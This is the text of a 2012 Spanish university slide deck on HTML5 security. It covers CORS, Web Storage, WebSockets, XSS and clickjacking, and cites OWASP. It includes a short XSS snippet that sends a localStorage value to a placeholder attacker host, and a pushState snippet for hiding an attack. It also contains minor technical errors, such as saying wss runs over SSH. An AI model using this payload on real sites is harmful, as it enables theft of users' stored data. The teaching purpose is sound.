You are on page 1of 34

Aspectos de seguridad en las nuevas tecnologas web

Diego M. Schwindt & Fernando Villarroel Seguridad en Sistemas Universidad Nacional del Sur, 2012

Outline
O Introduccin: HTML5 Javascript - AJAX
O Nuevas caractersticas y APIs O Modelo de seguridad en HTML5 O Principales amenazas O Ejemplos de ataques
O XSS (Cross-Site Scripting) O Clickjacking

Introduccin: HTML5
O HTML5 no es slo una nueva versin del

lenguaje de marcado base para la web. O Conjunto de estndares y APIs


O HTML5 + JavaScript + CSS3

O Tecnologas de presentacin y ejecucin del

lado del cliente O Brinda mejor soporte multimedia y de comunicacin, facilidades a los desarrolladores y estandarizacin. O Mejor estructuracin y semntica de los sitios

Introduccin: HTML5
O Su implementacin depende de cada browser.

http://html5test.com/ O An se encuentra en proceso de desarrollo, pero todos los navegadores modernos ya implementan la mayora de las funcionalidades. O El browser implementa efectos visuales y funciones tiles, que antes deban realizarse mediante libreras de javascript, o plugins como Flash.

Introduccin: HTML5
O Browser con HTML5

Introduccin: Javascript
O Javascript

es un lenguaje interpretado por el navegador. Se ejecuta en tiempo real en el lado del cliente (el usuario puede ver el cdigo, e inyectar). Su entorno de ejecucin es la pestaa del browser. O Algunas limitaciones (previas a HTML5):
O No puede leer ni escribir en el sistema de archivos del

usuario, ni del servidor. nico medio de almacenamiento estable: cookies O Slo puede comunicarse entre distintas pginas, si fueron generados desde el mismo sitio. O No puede ver las interacciones del usuario con el navegador (historial, otras pginas abiertas), ni hacer llamadas al sistema operativo. O No puede acceder a cookies ni variables generados por otros sitios

Introduccin: AJAX
O Es una tecnologa que permite comunicacin

asincrnica con el servidor. O Desde un script se pueden pedir datos (va requerimientos HTTP), sin tener que recargar toda la pgina. O Permite la interaccin actual de la web dinmica 2.0: nos comunicamos constantemente con el servidor: redes sociales, chats, autocompletado y validacin de formularios, respuestas instantneas en cada tiempo (bsqueda de Google), aplicaciones de trabajo colaborativo (ej: Google Docs)

Nuevas caractersticas y APIs


O Almacenamiento local / sitios offline [Javascript]
O Web storage: localStorage, sessionStorage O Web SQL Database O Application Cache

O Comunicacin / Tiempo real [Javascript]


O Web workers:

permite ejecutar scripts en paralelo (background) evitando que se bloquee la interfaz de usuario. Comunicacin entre scripts O Notificaciones O WebSocket: canal de comunicacin bidireccional y fullduplex sobre un socket TCP (alternativa a AJAX; evita overhead de headers HTTP).

Nuevas caractersticas y APIs


O WebSocket handshake

O Seguridad en el protocolo? ws:// o wss:// O Ejemplo (diferencia con AJAX)

Nuevas caractersticas y APIs


O Integracin con el sistema operativo (sistema de archivos,

etc) [Javascript]
O FileSystem APIs O Desktop Drag-in y Drag-out (file API) O Geolocation O Orientacin del dispositivo

O Entrada de audio [HTML]

O Multimedia

/ grficos / interfaz de usuario [HTML,

Javascript]
O Tags audio y video (reproduccin nativa, no ms flash!) O Canvas O SVG (Scalable Vector Graphics) O Drag & Drop nativo

Nuevas caractersticas y APIs


O Nuevas etiquetas [HTML]
O Etiquetas de semntica en la estructura del sitio

O Etiquetas de formato: datalists, progress bar, ms

tipos de inputs de formulario, etc. (Antes deban implementarse mediante javascript)


O Presentacin y estilo [CSS3]
O Nuevos selectores O Nuevas propiedades y atributos O Muchas

de las estilizaciones implementadas mediante javascript e imgenes, ahora pueden hacerse de modo ms eficiente con CSS.

Nuevas caractersticas y APIs


O Mejoras en la plataforma de desarrollo web del

lado cliente [HTML, Javascript]


O Nuevos selectores (DOM API)
O Atributos de datos personalizados O API para acceder al historial: popState, pushState

O Ejemplos y cdigo:
O http://slides.html5rocks.com O http://playground.html5rocks.com

Modelo de seguridad en HTML5

Modelo de seguridad en HTML5

Principales amenazas en HTML5


O Vulnerabilidades en HTML5: O Las tecnologas no son de por s inseguras. O De hecho, colaboran en el desarrollo de sitios seguros O Validacin de datos O Se evita uso de plugins. O Web messaging (comunicacin segura entre distintos orgenes) O Iframes sandboxing (limita los privlegios de javascript)
O Sin embargo, la seguridad de las aplicaciones dependen

de la capacidad y el cuidado de los desarrolladores. O Debido a que son estndares nuevos, y an en desarrollo, los programadores pueden cometer errores al no conocer suficientemente las APIs. Y los hackers puede encontrar exploits. O Las nuevas APIs hacen ms potentes las aplicaciones client-side, pero si no se toman ms recaudos, los ataques tambin sern ms potentes.
O Nuevas caractersticas

Nuevos tipos de ataque

Principales amenazas en HTML5


O Cross Document Messaging (Web Messaging)
O HTML4 no permite a las pginas de un dominio pasar o

acceder datos a pginas de otro dominio. O HTML5 integra una API llamada postMessage que crea un framework para un script en un dominio que permite pasar datos a un script que corra en otro dominio O postMessage incluye propiedades objeto que el desarrollador puede usar para verificar el origen de la peticin O Si el desarrollador no realiza los suficientes chequeos y validaciones, se podra compartir informacin que no debera, o quedar expuesto a peticiones maliciosas.
O User tracking O Spamming

Principales amenazas en HTML5


O Cross-Origin Resource Sharing (CORS)
O Se permite a clientes de distintos dominios realizar

requerimientos va XMLHttpRequest (AJAX). O Headers HTTP:


Access-Control-Allow-Origin: http://domain Access-Control-Max-Age: 86400 Access-Control-Allow-Methods: PUT, DELETE

O Problema: Se permite el envo de informacin entre

dominios sin permiso del usuario.


O O O O O

Bypassing access control Ataques remotos a servidores web Botnet basada en la web Ataques DoS con CORS y Web Workers Etc

O Se deben validar los headers, y los URLs pasados a

XMLHttpRequest.open

Principales amenazas en HTML5


O Web Storage
O Mediante Cross Site Scripting se podra acceder o

modificar los datos almacenados por otro dominio. O El mecanismo de almacenamiento depende del user agent (browser). La autenticacin puede ser atravesada por cualquier usuario con privilegios locales en la mquina. Por lo tanto, no se debera guardar informacin sensible. Encriptar! O Usar SessionStorage en lugar de LocalStorage, si la informacin no debe ser persistente O Ejemplos de ataques: session hijacking, user tracking, etc
O WebDatabase
O Problemas similares a lo anterior
O Vulnerable a SQL Injection

Principales amenazas en HTML5


O Web Workers
O Pueden realizar XMLHttpREquest, por lo que existe el

problema de Cross-Origing Resource Sharing. O Si bien no tienen acceso al DOM del sitio que lo invoca, web workers maliciosos pueden realizar un excesivo uso del CPU. O Se deben validar los datos intercambiados por el web worker.
O Geolocation
O Cualquier sitio puede determinar la ubicacin fsica del

usuario. No se cumple el requerimiento de seguridad de Proteccin de identidad O El browser debe preguntar al usuario si desea permitir calcular la ubicacin.

Principales amenazas en HTML5


O WebSockets
O Problema similares a Cross-Origing Resource Sharing. O El acceso a servicios de web socket puede ser ganado

O O

por un atacante mediante Cross-Site Scripting (ya que se realizan llamadas va javascript), por lo que esos servicios podran ser directamente llamados desde una pgina o programa malicioso. La comunicacin puede ser vctima de spoofing o hijacking El protocolo no maneja autenticacin. El protocolo de nivel de aplicacin debe hacerlo de forma separada en caso de datos sensibles El protocolo ws:// est expuesto a ataques Man-in-theMiddle (texto plano) . Debe usarse el protocolo wss://, que establece websockets sobre SSH. El servidor de WebSocket debe validar las entradas. El servidor de WebSocket podra no ser confiable

Ejemplos de ataques
O XSS (Cross-site scripting) O Clickjacking

XSS (Cross-site scripting)


O Es una vulnerabilidad de seguridad, tpica de

las aplicaciones web, que permite a una tercera parte inyectar cdigo JavaScript, en las pginas que un usuario visita. O Puede ser utilizado para robar informacin sensible, secuestrar sesiones de usuario, realizar acciones maliciosas en el navegador. O Generalmente es causada por la incorrecta validacin de los datos de entrada de cierta aplicacin (datos inseguros).

XSS (Cross-site scripting)

XSS (Cross-site scripting)


O Persistent

(stored): los datos proporcionados por el atacante son almacenados en el servidor, y se muestran de forma permanente, en el transcurso de una navegacin normal. O Non-persistent (reflected): el ms comn, aparece cuando los datos proporcionados por un cliente web, son utilizados como scripts del lado del servidor.

XSS (Cross-site scripting)


Escaping (Output Encoding)
O Es una tcnica utilizada para asegurarse

que los caracteres son tratados como datos, y no son "interpretados". O No confundir con la codificacin de caracteres (Unicode).

XSS (Cross-site scripting)


Inyeccin
O La inyeccin es un ataque que implica un

cambio de contexto (de datos a cdigo), gracias al empleo de caracteres especiales que son significativos para el interprete que est siendo usado.

XSS (Cross-site scripting)


Ejemplos de vulnerabilidades en HTML5

O LocalStorage O PushState

XSS (Cross-site scripting)


LocalStorage
O Un atacante podra robar datos sensibles

almacenados en el LocalStorage. Adems, no hay un flag HTTPOnly.


<script> document.write("<img src='http://attackersite.com?cookie="+localStorage.get Item(name')+"'>"); </script>

XSS (Cross-site scripting)


history.pushState()
O Dificulta el seguimiento de un ataque XSS, mientras nos

encontremos en el dominio vulnerable. Se puede cambiar el historial del usuario, cambiando el destino al hacer back o forward en el browser
var changeAddressBar = function(url) { try { window.history.pushState({}, "", getPath(url)); } catch(e) {} }; var getPath = function(url) { return url.match(/(\/.*)/)[1]; };

Clickjacking
O El clickjacking es una tcnica en la que el

atacante utiliza mltiples capas transparentes u opacas, para llevar al usuario a hacer click a una pgina distinta a la que se muestra. El atacante secuestra los clicks destinados a su pgina, y los enva a otras pginas. O Hay una tcnica similar, para secuestrar pulsaciones de teclado

Clickjacking

Clickjacking
O Ejemplos:
O Clickjacking a una cmara web.

http://www.youtube.com/watch?v=gxyLbpldmu U O Clickjacking a redes sociales http://digitalbreed.com/clickjackingdemo/facebook.php

Referencias
O http://html5security.org/ O https://www.owasp.org/index.php/HTML5_Security_Cheat_Sh O O O O

O
O O O

eet https://www.owasp.org/index.php/XSS_Prevention_Cheat_Sh eet https://www.owasp.org/index.php/Clickjacking http://en.wikipedia.org/wiki/Cross-site_scripting http://www.net-security.org/article.php?id=1656 http://www.howtocreate.co.uk/tutorials/javascript/security http://www.esecurityplanet.com/trends/article.php/3916381/To p-5-Security-Threats-in-HTML5.htm http://media.hackinglab.com/hlnews/HTML5_Web_Security_v1.0.pdf http://www.acunetix.com/websitesecurity/xss.htm

Preguntas?

You might also like